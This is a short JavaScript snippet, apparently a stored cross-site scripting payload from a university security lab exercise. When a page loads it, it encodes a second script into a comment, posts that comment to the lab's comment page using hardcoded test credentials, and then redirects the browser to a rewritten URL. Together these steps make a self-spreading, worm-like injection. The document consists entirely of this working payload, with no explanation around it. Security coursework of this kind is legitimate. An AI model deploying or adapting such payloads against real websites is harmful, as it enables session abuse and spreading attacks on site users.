<script>
var msg = unescape("%3Cscript%3E%09alert%28decodeURIComponent%28%27Originally%20posted%20from%3A%20") + encodeURIComponent(document.URL) + unescape("%27%29%29%3B%3C/script%3E") + document.URL;
fetch('/cs3235/lab5/commentslab5-2.php?matric=test2&pass=test2&method=1&comment=' + escape(msg))
.then(function() {
     document.location.assign(document.URL.replace(/&user=[a-zA-Z0-9]+/, "&user=test2"));
});
</script>